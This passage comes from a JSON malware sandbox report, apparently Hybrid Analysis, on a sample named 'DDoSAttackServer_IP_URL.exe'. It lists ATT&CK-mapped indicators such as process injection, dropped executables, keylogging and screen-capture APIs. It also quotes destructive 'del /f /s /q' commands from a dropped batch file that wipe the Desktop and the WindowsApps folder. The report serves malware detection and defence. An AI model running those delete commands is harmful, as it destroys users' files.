Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"DDoSAttackServer_IP_URL.exe\" called \"NtQueueApcThread\" (UID: 00000000-00000944)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$3c","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay the execution of current thread","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"DDoSAttackServer_IP_URL.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"DDoSAttackServer_IP_URL.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\mscoree.dll\"\n \"DDoSAttackServer_IP_URL.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"DDoSAttackServer_IP_URL.exe\" trying to touch file \"C:\\DDoSAttackServer_IP_URL.exe\"\n \"DDoSAttackServer_IP_URL.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"DDoSAttackServer_IP_URL.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"DDoSAttackServer_IP_URL.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"DDoSAttackServer_IP_URL.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"DDoSAttackServer_IP_URL.exe\" trying to touch file \"C:\\Windows\\Temp\\VxSSL32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"DDoSAttackServer_IP_URL.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"DDoSAttackServer_IP_URL.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$3e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"DDoSAttackServer_IP_URL.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\icon.ico\"\n \"DDoSAttackServer_IP_URL.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\text.txt\"\n \"DDoSAttackServer_IP_URL.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\windl.bat\"\n \"DDoSAttackServer_IP_URL.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\one.rtf\"\n \"DDoSAttackServer_IP_URL.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\rniw.exe\"\n \"DDoSAttackServer_IP_URL.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\v.mp4\"\n \"DDoSAttackServer_IP_URL.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\media player\\currentdatabase_400.wmdb\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy files","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-329","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on process \"00000000-00000944\"\n YARA signature for RC4 encryption matched on file \"CurrentDatabase_400.wmdb\"\n YARA signature for RC4 encryption matched on file \"rniw.exe\"\n YARA signature for RC4 encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-104","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE96067464B7260DFF127F6D685BE9]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEC2F10ED281CCC54806F387F7FFAB]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE60D8AABD02CF37A48E318DD671E5]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000944.00000001.72452.088F0000.00000004.mdmp, 00000000-00000944.00000002.74369.088F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"DDoSAttackServer_IP_URL.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"taskkill.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"WMIC.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00007096)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"DDoSAttackServer_IP_URL.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$41","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \",3025,,RtlGetNtProductType,N\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00000944.00000001.72452.088F0000.00000004.mdmp, 00000000-00000944.00000002.74369.088F0000.00000004.mdmp\")\n Found reference to API \"82368814667,4016,3025,,RtlGetNtProductType,NTDLL.dll,\"00:18:51.562\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00000944.00000001.72452.088F0000.00000004.mdmp\")\n Found reference to API \"82577625336,4016,3025,,RtlGetNtProductType,NTDLL.dll,\"00:18:51.640\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00000944.00000001.72452.088F0000.00000004.mdmp\")\n Found reference to API \"82558769630,4016,3025,,RtlGetNtProductType,NTDLL.dll,\"00:18:51.640\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00000944.00000001.72452.088F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"rniw.exe.353619882\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$45","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: rniw.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"DDoSAttackServer_IP_URL.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")\n \"DDoSAttackServer_IP_URL.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"HARDWAREINFORMATION.MEMORYSIZE\")\n \"DDoSAttackServer_IP_URL.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"INSTALLEDDISPLAYDRIVERS\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"taskkill.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002624)\n \"taskkill.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003940)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\\" (Indicator: \"\\Device\\\"; Source: \"00000000-00000944.00000000.70531.01438000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp\")\n Found string \"{0.0.0.00000000}.{afe9d18c-bc79-401b-8755-e68ee7c32c02}|\\Device\\HarddiskVolume2\\DDoSAttackServer_IP_URL.exe%b{00000000-0000-0000-0000-000000000000}|1%b944\" (Indicator: \"\\Device\\\"; Source: \"00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"del /f /s /q %userprofile%\\Desktop\\*\" (Indicator: \"del \") in Source: windl.bat\n Observed string: \"del /f /s /q \"C:\\Program Files\\WindowsApps\\\"\" (Indicator: \"del \") in Source: windl.bat","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"DDoS Attack Server_ IP_ URL.bin\")\n Found reference to API \"SetWindowsHookEx\" (Indicator: \"SetWindowsHook\"; File: \"DDoS Attack Server_ IP_ URL.bin\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"DDoS Attack Server_ IP_ URL.bin\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"SetWindowsHookEx\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"$46","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$47","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"svchost.exe,smss.exe,csrss.exe,wininit.exe,winlogon.exe\" (Source: \"00000000-00000944.00000001.72452.03AC0000.00000004.mdmp, 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"rniw.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\rniw.exe]- [targetUID: 00000000-00000944]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"CurrentDatabase_400.wmdb\" - Location: [%LOCALAPPDATA%\\Microsoft\\Media Player\\CurrentDatabase_400.wmdb]- [targetUID: 00000000-00000944]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"DDoSAttackServer_IP_URL.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"DDoSAttackServer_IP_URL.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"taskkill.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text\n .reloc with unusual entropies 0.75079750869\n 0.101910425663","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 25657-250-00405000","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve open application windows","description":"GetWindowTextLengthA@USER32.DLL at 25657-343-00409FBC\n GetForegroundWindow@USER32.DLL at 25657-411-004081DB\n GetWindowTextLengthA@USER32.DLL at 25657-335-00409A2B","origin":"Hybrid Analysis 